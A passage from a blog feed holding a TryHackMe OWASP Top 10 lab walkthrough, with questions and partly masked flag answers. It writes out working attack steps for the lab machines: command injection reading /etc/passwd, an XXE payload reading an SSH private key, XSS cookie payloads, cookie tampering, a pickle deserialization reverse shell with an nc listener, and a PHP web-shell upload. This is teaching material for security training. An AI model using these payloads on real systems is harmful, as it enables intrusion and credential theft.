</code></pre></div></div>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><category term="wireshark" /><category term="john" /><category term="hashcat" /><category term="ssh-backdoor" /><category term="privilege-escalation" /><summary type="html"><![CDATA[Overpass 2 - Hacked: TryHackMe Walkthrough]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.png" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Owasp Top 10 - TryHackMe room to learn OWASP Top 10 2021</title><link href="https://zishanhack.com/blog/thm/owasptop10/" rel="alternate" type="text/html" title="Owasp Top 10 - TryHackMe room to learn OWASP Top 10 2021" /><published>2024-09-01T00:00:00+05:30</published><updated>2024-09-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/owasptop10</id><content type="html" xml:base="https://zishanhack.com/blog/thm/owasptop10/"><![CDATA[<h1 id="owasp-top-10">Owasp Top 10</h1>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#introduction">Introduction</a></li>
  <li><a href="#accessing-machines">Accessing machines</a></li>
  <li><a href="#severity-1-injection">[Severity 1] Injection</a></li>
  <li><a href="#severity-1-os-command-injection">[Severity 1] OS Command Injection</a></li>
  <li><a href="#severity-1-command-injection-practical">[Severity 1] Command Injection Practical</a></li>
  <li><a href="#severity-2-broken-authentication">[Severity 2] Broken Authentication</a></li>
  <li><a href="#severity-2-broken-authentication-practical">[Severity 2] Broken Authentication Practical</a></li>
  <li><a href="#severity-3-sensitive-data-exposure-introduction">[Severity 3] Sensitive Data Exposure (Introduction)</a></li>
  <li><a href="#severity-3-sensitive-data-exposure-supporting-material-1">[Severity 3] Sensitive Data Exposure (Supporting Material 1)</a></li>
  <li><a href="#severity-3-sensitive-data-exposure-supporting-material-2">[Severity 3] Sensitive Data Exposure (Supporting Material 2)</a></li>
  <li><a href="#severity-3-sensitive-data-exposure-challenge">[Severity 3] Sensitive Data Exposure (Challenge)</a></li>
  <li><a href="#severity-4-xml-external-entity">[Severity 4] XML External Entity</a></li>
  <li><a href="#severity-4-xml-external-entity---extensible-markup-language">[Severity 4] XML External Entity - eXtensible Markup Language</a></li>
  <li><a href="#severity-4-xml-external-entity---dtd">[Severity 4] XML External Entity - DTD</a></li>
  <li><a href="#severity-4-xml-external-entity---xxe-payload">[Severity 4] XML External Entity - XXE Payload</a></li>
  <li><a href="#severity-4-xml-external-entity---exploiting">[Severity 4] XML External Entity - Exploiting</a></li>
  <li><a href="#severity-5-broken-access-control">[Severity 5] Broken Access Control</a></li>
  <li><a href="#severity-5-broken-access-control-idor-challenge">[Severity 5] Broken Access Control (IDOR Challenge)</a></li>
  <li><a href="#severity-6-security-misconfiguration">[Severity 6] Security Misconfiguration</a></li>
  <li><a href="#severity-7-cross-site-scripting">[Severity 7] Cross-site Scripting</a></li>
  <li><a href="#severity-8-insecure-deserialization">[Severity 8] Insecure Deserialization</a></li>
  <li><a href="#severity-8-insecure-deserialization---objects">[Severity 8] Insecure Deserialization - Objects</a></li>
  <li><a href="#severity-8-insecure-deserialization---deserialization">[Severity 8] Insecure Deserialization - Deserialization</a></li>
  <li><a href="#severity-8-insecure-deserialization---cookies">[Severity 8] Insecure Deserialization - Cookies</a></li>
  <li><a href="#severity-8-insecure-deserialization---cookies-practical">[Severity 8] Insecure Deserialization - Cookies Practical</a></li>
  <li><a href="#severity-8-insecure-deserialization---code-execution">[Severity 8] Insecure Deserialization - Code Execution</a></li>
  <li><a href="#severity-9-components-with-known-vulnerabilities---intro">[Severity 9] Components With Known Vulnerabilities - Intro</a></li>
  <li><a href="#severity-9-components-with-known-vulnerabilities---exploit">[Severity 9] Components With Known Vulnerabilities - Exploit</a></li>
  <li><a href="#severity-9-components-with-known-vulnerabilities---lab">[Severity 9] Components With Known Vulnerabilities - Lab</a></li>
  <li><a href="#severity-10-insufficient-logging-and-monitoring">[Severity 10] Insufficient Logging and Monitoring</a></li>
  <li><a href="#what-next">What Next?</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/r/room/owasptop10">https://thm.com/r/room/owasptop10</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">$$$$$$</span><span class="se">\ </span> <span class="nv">$$</span><span class="se">\ </span>     <span class="nv">$$</span><span class="se">\ </span> <span class="nv">$$$$$$</span><span class="se">\ </span>  <span class="nv">$$$$$$</span><span class="se">\ </span> <span class="nv">$$$$$$$\</span>  
<span class="nv">$$</span>  __<span class="nv">$$</span><span class="se">\ </span><span class="nv">$$</span> | <span class="nv">$\</span>  <span class="nv">$$</span> |<span class="nv">$$</span>  __<span class="nv">$$</span><span class="se">\ </span><span class="nv">$$</span>  __<span class="nv">$$</span><span class="se">\ </span><span class="nv">$$</span>  __<span class="nv">$$</span><span class="se">\ </span>
<span class="nv">$$</span> /  <span class="nv">$$</span> |<span class="nv">$$</span> |<span class="nv">$$$\</span> <span class="nv">$$</span> |<span class="nv">$$</span> /  <span class="nv">$$</span> |<span class="nv">$$</span> /  <span class="se">\_</span>_|<span class="nv">$$</span> |  <span class="nv">$$</span> |
<span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$</span> <span class="nv">$$</span> <span class="nv">$$</span><span class="se">\$</span><span class="nv">$ </span>|<span class="nv">$$$$$$$$</span> |<span class="se">\$</span><span class="nv">$$$$$\</span>  <span class="nv">$$$$$$$ </span> |
<span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$$$</span>  _<span class="nv">$$$$</span> |<span class="nv">$$</span>  __<span class="nv">$$</span> | <span class="se">\_</span>___<span class="nv">$$</span><span class="se">\ </span><span class="nv">$$</span>  ____/ 
<span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$$ </span> / <span class="se">\$</span><span class="nv">$$</span> |<span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$</span><span class="se">\ </span>  <span class="nv">$$</span> |<span class="nv">$$</span> |      
 <span class="nv">$$$$$$</span>  |<span class="nv">$$</span>  /   <span class="se">\$</span><span class="nv">$ </span>|<span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="se">\$</span><span class="nv">$$$$$ </span> |<span class="nv">$$</span> |      
 <span class="se">\_</span>_____/ <span class="se">\_</span>_/     <span class="se">\_</span>_|<span class="se">\_</span>_|  <span class="se">\_</span>_| <span class="se">\_</span>_____/ <span class="se">\_</span>_|      
                                                     
                                                     
                                                     
<span class="nv">$$$$$$$$</span><span class="se">\ </span> <span class="nv">$$$$$$</span><span class="se">\ </span> <span class="nv">$$$$$$$\</span>    <span class="nv">$$</span><span class="se">\ </span>  <span class="nv">$$$$$$</span><span class="se">\ </span>       
<span class="se">\_</span>_<span class="nv">$$</span>  __|<span class="nv">$$</span>  __<span class="nv">$$</span><span class="se">\ </span><span class="nv">$$</span>  __<span class="nv">$$</span><span class="se">\ </span><span class="nv">$$$$</span> | <span class="nv">$$$ </span>__<span class="nv">$$</span><span class="se">\ </span>      
   <span class="nv">$$</span> |   <span class="nv">$$</span> /  <span class="nv">$$</span> |<span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="se">\_</span><span class="nv">$$</span> | <span class="nv">$$$$</span><span class="se">\ </span><span class="nv">$$</span> |      
   <span class="nv">$$</span> |   <span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$$$$$$ </span> |  <span class="nv">$$</span> | <span class="nv">$$</span><span class="se">\$</span><span class="nv">$\$$</span> |      
   <span class="nv">$$</span> |   <span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$</span>  ____/   <span class="nv">$$</span> | <span class="nv">$$</span> <span class="se">\$</span><span class="nv">$$$ </span>|      
   <span class="nv">$$</span> |   <span class="nv">$$</span> |  <span class="nv">$$</span> |<span class="nv">$$</span> |        <span class="nv">$$</span> | <span class="nv">$$</span> |<span class="se">\$</span><span class="nv">$$</span> |      
   <span class="nv">$$</span> |    <span class="nv">$$$$$$</span>  |<span class="nv">$$</span> |      <span class="nv">$$$$$$</span><span class="se">\\</span><span class="nv">$$$$$$</span>  /      
   <span class="se">\_</span>_|    <span class="se">\_</span>_____/ <span class="se">\_</span>_|      <span class="se">\_</span>_____|<span class="se">\_</span>_____/       
                                                     
                                                     
</code></pre></div></div>

<p>Badges: <a href="https://thm.com/ZishanAdThandar/badges/owasp-10">https://thm.com/ZishanAdThandar/badges/owasp-10</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li>sqlite3</li>
  <li><a href="https://crackstation.net/">Cracktation.net</a></li>
  <li>Browser Debugging Tools (CTRL+SHIFT+I)</li>
  <li>Browser Source Code Viewer (CTRL+U)</li>
</ul>

<h2 id="introduction">Introduction</h2>

<ul>
  <li>Join the machine</li>
  <li>Read Instructions and click on Complete.
    <h2 id="accessing-machines">Accessing machines</h2>
  </li>
  <li>Goto Access and get ovpn file to connect https://thm.com/access</li>
  <li>Or, Start attackbox for testing.
    <h2 id="severity-1-injection">[Severity 1] Injection</h2>
  </li>
  <li>Read carefully this section and click on Complete.
    <h2 id="severity-1-os-command-injection">[Severity 1] OS Command Injection</h2>
  </li>
  <li>Read this section and mentioned <a href="https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#spawn-tty-shell">article</a>, then  click on Complete.
    <h2 id="severity-1-command-injection-practical">[Severity 1] Command Injection Practical</h2>
  </li>
  <li>Start Machine and get Target IP from “Target Machine Information”. Now, open <code class="language-plaintext highlighter-rouge">http://machine_ip/evilshell.php</code>.</li>
  <li>Now, type commands and submit. You can see output below.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What strange text file is in the website root directory?</code> Answer <code class="language-plaintext highlighter-rouge">drpepper.txt</code>. Running <code class="language-plaintext highlighter-rouge">ls</code> command will show this strange text file.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">How many non-root/non-service/non-daemon users are there?</code> Answer <code class="language-plaintext highlighter-rouge">0</code>. Running <code class="language-plaintext highlighter-rouge">cat /etc/passwd</code> will show.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What user is this app running as?</code> Answer <code class="language-plaintext highlighter-rouge">www-data</code>. Used command <code class="language-plaintext highlighter-rouge">whoami</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the user's shell set as?</code> Answer <code class="language-plaintext highlighter-rouge">/usr/sbin/nologin</code>. Command used <code class="language-plaintext highlighter-rouge">getent passwd www-data</code> or <code class="language-plaintext highlighter-rouge">cat /etc/passwd |grep www-data</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What version of Ubuntu is running?</code> Answer ``. Command used <code class="language-plaintext highlighter-rouge">lsb_release -a</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Print out the MOTD.  What favorite beverage is shown?</code> Answer <code class="language-plaintext highlighter-rouge">DR PEPPER</code>. Used command <code class="language-plaintext highlighter-rouge">cat /etc/update-motd.d/00-header</code>.
    <h2 id="severity-2-broken-authentication">[Severity 2] Broken Authentication</h2>
  </li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-2-broken-authentication-practical">[Severity 2] Broken Authentication Practical</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information” and open <code class="language-plaintext highlighter-rouge">http://MACHINE_IP:8888</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the flag that you found in darren's account?</code> Answer <code class="language-plaintext highlighter-rouge">fe860794************74b667</code>. To get flag inside darren’s account, register as “ darren” and login. Here you need to use whitespace before darren’s name.</li>
  <li>Test same trick with user <code class="language-plaintext highlighter-rouge">arthur</code> and click on Complete.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the flag that you found in arthur's account?</code> Answer <code class="language-plaintext highlighter-rouge">d9ac0f7************75e16e</code>.
    <h2 id="severity-3-sensitive-data-exposure-introduction">[Severity 3] Sensitive Data Exposure (Introduction)</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-3-sensitive-data-exposure-supporting-material-1">[Severity 3] Sensitive Data Exposure (Supporting Material 1)</h2>
  </li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-3-sensitive-data-exposure-supporting-material-2">[Severity 3] Sensitive Data Exposure (Supporting Material 2)</h2>
  </li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-3-sensitive-data-exposure-challenge">[Severity 3] Sensitive Data Exposure (Challenge)</h2>
  </li>
  <li>If we open the machine link and check source, we can get a image link to <code class="language-plaintext highlighter-rouge">http://machine_ip/assets/images/lake-taupo.jpg</code>.</li>
  <li>Now if we navigate to <code class="language-plaintext highlighter-rouge">http://machine_ip/assets</code> directory, there is a sensitive databse file named <code class="language-plaintext highlighter-rouge">webapp.db</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the name of the mentioned directory?</code> Answer <code class="language-plaintext highlighter-rouge">/assets</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?</code> Answer <code class="language-plaintext highlighter-rouge">webapp.db</code>. It’s a file inside <code class="language-plaintext highlighter-rouge">/assets</code>.</li>
  <li>Now Downloding the file and analyzing the file with <code class="language-plaintext highlighter-rouge">file webapp.db</code> command shows it’s a <code class="language-plaintext highlighter-rouge">sqlite3</code> file. Now, we can read the db file with <code class="language-plaintext highlighter-rouge">sqlite3 webapp.db</code>.</li>
  <li>If we use <code class="language-plaintext highlighter-rouge">.table</code> command to get table names, we will see there is two table named <code class="language-plaintext highlighter-rouge">session</code> and <code class="language-plaintext highlighter-rouge">users</code>. We can get column names using <code class="language-plaintext highlighter-rouge">PRAGMA table_info(users);</code> command.
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">$&gt;</span> sqlite3 webapp.db 
   SQLite version 3.37.2 2022-01-06 13:25:41
   Enter <span class="s2">".help"</span> <span class="k">for </span>usage hints.
  sqlite&gt; .tables
  sessions  <span class="nb">users   
  </span>sqlite&gt; PRAGMA table_info<span class="o">(</span><span class="nb">users</span><span class="o">)</span><span class="p">;</span>
  0|userID|TEXT|1||1
  1|username|TEXT|1||0
  2|password|TEXT|1||0
  3|admin|INT|1||0
  sqlite&gt; 
</code></pre></div>    </div>
  </li>
  <li><code class="language-plaintext highlighter-rouge">select * from users;</code> will show user’s details inside the table. We can get admin hash there <code class="language-plaintext highlighter-rouge">6eea9b7ef191*******0f6c05ceb</code>.
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  sqlite&gt; <span class="k">select</span> <span class="k">*</span> from <span class="nb">users</span><span class="p">;</span>
  4413096d9c933359b898b6202288a650|admin|6eea9b7ef191<span class="k">******</span>f6c05ceb|1
  23023b67a32488588db1e28579ced7ec|Bob|ad0234829205b9033196ba818f7a872b|1
  4e8423b514eef575394ff78caed3254d|Alice|268b38ca7b84f44fa0a6cdc86e6301e0|0
  sqlite&gt; 
</code></pre></div>    </div>
  </li>
  <li>Question <code class="language-plaintext highlighter-rouge">Use the supporting material to access the sensitive data. What is the password hash of the admin user?</code> Answer <code class="language-plaintext highlighter-rouge">6eea9b7ef191*****dd0f6c05ceb</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the admin's plaintext password?</code> Answer <code class="language-plaintext highlighter-rouge">qwe****op</code>. We can crack the hash using <a href="https://crackstation.net/">CrackStation</a>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Login as the admin. What is the flag?</code> Answer <code class="language-plaintext highlighter-rouge">THM{Yzc2Yjd*************diMjdl}</code>. If we goto <code class="language-plaintext highlighter-rouge">http://machine_ip/login</code> and login with username <code class="language-plaintext highlighter-rouge">admin</code> and the cracked password <code class="language-plaintext highlighter-rouge">qw*****iop</code>, it will redirect to <code class="language-plaintext highlighter-rouge">http://machine_ip/console/</code>. There we can get the flag.
    <h2 id="severity-4-xml-external-entity">[Severity 4] XML External Entity</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-4-xml-external-entity---extensible-markup-language">[Severity 4] XML External Entity - eXtensible Markup Language</h2>
  </li>
  <li>Read this section carefully and then start answering.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Full form of XML</code> Answer <code class="language-plaintext highlighter-rouge">eXtensible Markup Language</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">Is it compulsory to have XML prolog in XML documents?</code> Answer <code class="language-plaintext highlighter-rouge">No</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">Can we validate XML documents against a schema?</code> Answer <code class="language-plaintext highlighter-rouge">Yes</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How can we specify XML version and encoding in XML document?</code> Answer <code class="language-plaintext highlighter-rouge">xml prolog</code>
    <h2 id="severity-4-xml-external-entity---dtd">[Severity 4] XML External Entity - DTD</h2>
  </li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you define a new ELEMENT?</code> Answer <code class="language-plaintext highlighter-rouge">!ELEMENT</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you define a ROOT element?</code> Answer <code class="language-plaintext highlighter-rouge">!DOCTYPE</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How do you define a new ENTITY?</code> Answer <code class="language-plaintext highlighter-rouge">!ENTITY</code>
    <h2 id="severity-4-xml-external-entity---xxe-payload">[Severity 4] XML External Entity - XXE Payload</h2>
  </li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-4-xml-external-entity---exploiting">[Severity 4] XML External Entity - Exploiting</h2>
  </li>
  <li>Now open http://machine_ip</li>
  <li>Used given payload in last section to print <code class="language-plaintext highlighter-rouge">falcon feast</code> and clicked on Complete.</li>
  <li>Again used payload from last section to read <code class="language-plaintext highlighter-rouge">/etc/passwd</code> and clicked on complete.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the name of the user in /etc/passwd</code> Answer <code class="language-plaintext highlighter-rouge">falcon</code>. We read it from output of last payload.</li>
  <li>Now we can use same payload with replacing file from <code class="language-plaintext highlighter-rouge">/etc/passwd</code> to ssh file location <code class="language-plaintext highlighter-rouge">/home/falcon/.ssh/id_rsa</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Where is falcon's SSH key located?</code> Answer <code class="language-plaintext highlighter-rouge">/home/falcon/.ssh/id_rsa</code>.</li>
  <li>New payload to read SSH file,
    <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="cp">&lt;?xml version="1.0"?&gt;</span>
 <span class="cp">&lt;!DOCTYPE root [&lt;!ENTITY read SYSTEM '/home/falcon/.ssh/id_rsa'&gt;</span>]&gt;
 <span class="nt">&lt;root&gt;</span><span class="ni">&amp;read;</span><span class="nt">&lt;/root&gt;</span>
</code></pre></div>    </div>
  </li>
  <li>Question <code class="language-plaintext highlighter-rouge">What are the first 18 characters for falcon's private key</code> Answer <code class="language-plaintext highlighter-rouge">MIIEogI****CAQEA7b</code>
    <h2 id="severity-5-broken-access-control">[Severity 5] Broken Access Control</h2>
  </li>
  <li>Read this section carefully and click on Complete.
    <h2 id="severity-5-broken-access-control-idor-challenge">[Severity 5] Broken Access Control (IDOR Challenge)</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>Read and understand how IDOR works and click on Complete.</li>
  <li>Open <code class="language-plaintext highlighter-rouge">http://machine_ip/</code> and login with username <code class="language-plaintext highlighter-rouge">note</code> and password <code class="language-plaintext highlighter-rouge">test123</code>, then click on Complete.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Look at other users notes. What is the flag?</code> Answer <code class="language-plaintext highlighter-rouge">flag{fivef***three}</code>. Got it by changing note id to 0 and visiting link <code class="language-plaintext highlighter-rouge">http://machine_ip/note.php?note=0</code>.
    <h2 id="severity-6-security-misconfiguration">[Severity 6] Security Misconfiguration</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>Read this section carefully, deploy the vm and click on Complete.</li>
  <li>If we open the <code class="language-plaintext highlighter-rouge">machine_ip</code>, we can get a webapp name <code class="language-plaintext highlighter-rouge">Pensive Notes</code>. After googling I got default username password in a github repo https://github.com/NinjaJc01/PensiveNotes. Default credential of Pensive Notes is <code class="language-plaintext highlighter-rouge">pensive:PensiveNotes</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Hack into the webapp, and find the flag!</code> Answer <code class="language-plaintext highlighter-rouge">thm{4b95139*******a1f9d672e17}</code>
    <h2 id="severity-7-cross-site-scripting">[Severity 7] Cross-site Scripting</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>Read this section carefully, deploy the vm and click on Complete.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Navigate to http://machine_ip in your browser and click on the "Reflected XSS" tab on the navbar; craft a reflected XSS payload that will cause a popup saying "Hello".</code> Answer <code class="language-plaintext highlighter-rouge">ThereIsMoreToXSSThanYouThink</code>. Used payload <code class="language-plaintext highlighter-rouge">&lt;script&gt;alert("Hello")&lt;/script&gt;</code>, PoC link http://machine_ip/reflected?keyword=%3Cscript%3Ealert(%22Hello%22)%3C/script%3E</li>
  <li>Question <code class="language-plaintext highlighter-rouge">On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.</code> Answer <code class="language-plaintext highlighter-rouge">ReflectiveXss4TheWin</code>. Used payload <code class="language-plaintext highlighter-rouge">&lt;script&gt;alert(window.location.hostname)&lt;/script&gt;</code>, PoC link http://machine_ip/reflected?keyword=%3Cscript%3Ealert(window.location.hostname)%3C/script%3E</li>
  <li>Now goto <code class="language-plaintext highlighter-rouge">http://machine_ip/stored</code> and create an account.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Then add a comment and see if you can insert some of your own HTML.</code> Answer <code class="language-plaintext highlighter-rouge">HTML_T4gs</code>. Commented <code class="language-plaintext highlighter-rouge">&lt;img&gt;</code> in <code class="language-plaintext highlighter-rouge">http://machine_ip/stored</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">On the same page, create an alert popup box appear on the page with your document cookies.</code> Answer <code class="language-plaintext highlighter-rouge">W3LL_D0N3_LVL2</code> Payload used <code class="language-plaintext highlighter-rouge">&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code></li>
  <li>Now used payload to change title from <code class="language-plaintext highlighter-rouge">to</code>. Payload used <code class="language-plaintext highlighter-rouge">&lt;script&gt;document.querySelector("#thm-title").textContent="I am a hacker"&lt;/script&gt;</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.</code> Answer <code class="language-plaintext highlighter-rouge">websites_can_be_easily_defaced_with_xss</code>
    <h2 id="severity-8-insecure-deserialization">[Severity 8] Insecure Deserialization</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>Read this section carefully.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Who developed the Tomcat application?</code> Answer <code class="language-plaintext highlighter-rouge">The Apache Software Foundation</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What type of attack that crashes services can be performed with insecure deserialization?</code> Answer <code class="language-plaintext highlighter-rouge">Denial of Service</code>
    <h2 id="severity-8-insecure-deserialization---objects">[Severity 8] Insecure Deserialization - Objects</h2>
  </li>
  <li>Read this section.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">if a dog was sleeping, would this be: A) A State B) A Behaviour</code> Answer <code class="language-plaintext highlighter-rouge">A Behaviour</code>
    <h2 id="severity-8-insecure-deserialization---deserialization">[Severity 8] Insecure Deserialization - Deserialization</h2>
  </li>
  <li>Read this section.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the name of the base-2 formatting that data is sent across a network as?</code> Answer <code class="language-plaintext highlighter-rouge">binary</code>
    <h2 id="severity-8-insecure-deserialization---cookies">[Severity 8] Insecure Deserialization - Cookies</h2>
  </li>
  <li>Read this section carefully.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">If a cookie had the path of webapp.com/login , what would the URL that the user has to visit be?</code> Answer <code class="language-plaintext highlighter-rouge">webapp.com/login/</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the acronym for the web technology that Secure cookies work over?</code> Answer <code class="language-plaintext highlighter-rouge">https</code>
    <h2 id="severity-8-insecure-deserialization---cookies-practical">[Severity 8] Insecure Deserialization - Cookies Practical</h2>
  </li>
  <li>Open <code class="language-plaintext highlighter-rouge">http://machine_ip/register</code>, create a account and login.</li>
  <li>Press <code class="language-plaintext highlighter-rouge">CTRL+SHIFT+I</code> and goto Storage section to read and edit cookies.</li>
  <li>Copy value of <code class="language-plaintext highlighter-rouge">sessionId</code> cookie and decode it with base64 decoder. Command to decode base64, <code class="language-plaintext highlighter-rouge">echo "gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAAN2Y1MWRiYWFhZjY2NDYwMzkyNTNiNTlkOTY3NTAwYWVxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg==" |base64 -d</code>. You will get the first flag.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">1st flag (cookie value)</code> Answer <code class="language-plaintext highlighter-rouge">THM{good******se64_huh}</code></li>
  <li>Then edit <code class="language-plaintext highlighter-rouge">userType</code> cookie value to <code class="language-plaintext highlighter-rouge">admin</code> from <code class="language-plaintext highlighter-rouge">user</code> and reload the page and it will redirect to the admin page and show the flag.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">2nd flag (admin dashboard)</code> Answer <code class="language-plaintext highlighter-rouge">THM{heres******in_flag}</code>
    <h2 id="severity-8-insecure-deserialization---code-execution">[Severity 8] Insecure Deserialization - Code Execution</h2>
  </li>
  <li>Start listner to listen with <code class="language-plaintext highlighter-rouge">nc -lvp 4444</code> command.</li>
  <li>Change cookie <code class="language-plaintext highlighter-rouge">userType</code> value to <code class="language-plaintext highlighter-rouge">user</code> from <code class="language-plaintext highlighter-rouge">admin</code>. Open <code class="language-plaintext highlighter-rouge">http://machine_ip/myprofile</code>, then click on <code class="language-plaintext highlighter-rouge">Exchange on vim</code> and after that <code class="language-plaintext highlighter-rouge">feedback</code>. Give feedback.</li>
  <li>We need to follow instructions carefully. First we need to change download <a href="https://assets.thm.com/additional/cmn-owasptopten/pickleme.py">pickleme.py</a> and  “YOUR_TRYHACKME_VPN_IP” with your TryHackMe VPN IP. To get IP of TryHackMe you can use <code class="language-plaintext highlighter-rouge">ifconfig tun0 |grep destination |cut -d" " -f10</code> command. Then run the python script with <code class="language-plaintext highlighter-rouge">python3 pickleme.py</code>. Copy the cookie and add a cookie with that value, name it <code class="language-plaintext highlighter-rouge">encodedPayload</code>. Reload feedback page. You will get a netcat shell. You can read flag using <code class="language-plaintext highlighter-rouge">cat ../flag.txt</code> command.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">flag.txt</code> Answer <code class="language-plaintext highlighter-rouge">4a69a7***fd68</code>
    <h2 id="severity-9-components-with-known-vulnerabilities---intro">[Severity 9] Components With Known Vulnerabilities - Intro</h2>
  </li>
  <li>Read Instructions and click on Complete.
    <h2 id="severity-9-components-with-known-vulnerabilities---exploit">[Severity 9] Components With Known Vulnerabilities - Exploit</h2>
  </li>
  <li>Read Instructions and click on Complete.
    <h2 id="severity-9-components-with-known-vulnerabilities---lab">[Severity 9] Components With Known Vulnerabilities - Lab</h2>
  </li>
  <li>If any machine is running, terminate that machine first. Then Start this Machine. Copy Target IP from “Target Machine Information”.</li>
  <li>When we open <code class="language-plaintext highlighter-rouge">http://machine_ip</code>, we get link to <code class="language-plaintext highlighter-rouge">http://machine_ip/admin.php</code> and <code class="language-plaintext highlighter-rouge">projectworlds.in</code> link. After searching bookstore on <code class="language-plaintext highlighter-rouge">projectworlds.in</code>, we get this page https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/ with default credential username: admin@admin.com password: admin.</li>
  <li>After logging into admin panel, we can upload our shell by editing any book. Shell code, <code class="language-plaintext highlighter-rouge">&lt;?php system('wc -c /etc/passwd'); ?&gt;</code> in shell.php. After going to edit book, upload shell.php with <code class="language-plaintext highlighter-rouge">change</code> button.</li>
  <li>Now to find the shell, open location of image. You can find all images in <code class="language-plaintext highlighter-rouge">/bootstrap/img</code> directory. Just open the directory in the link, you can get your uploaded shell there, <code class="language-plaintext highlighter-rouge">http://machine_ip/bootstrap/img/shell.php</code>. If you open the page, it will compile and execute the code to display character number of <code class="language-plaintext highlighter-rouge">/etc/passwd</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer)</code> Answer <code class="language-plaintext highlighter-rouge">1611</code>
    <h2 id="severity-10-insufficient-logging-and-monitoring">[Severity 10] Insufficient Logging and Monitoring</h2>
  </li>
  <li>Read this section carefully.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What IP address is the attacker using?</code> Answer <code class="language-plaintext highlighter-rouge">49.99.13.16</code>. We can check lot of unauthorized login from this ip.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What kind of attack is being carried out?</code> Answer <code class="language-plaintext highlighter-rouge">Bruteforce</code>. As we can see many unatuthorized usernames requested.
    <h2 id="what-next">What Next?</h2>
  </li>
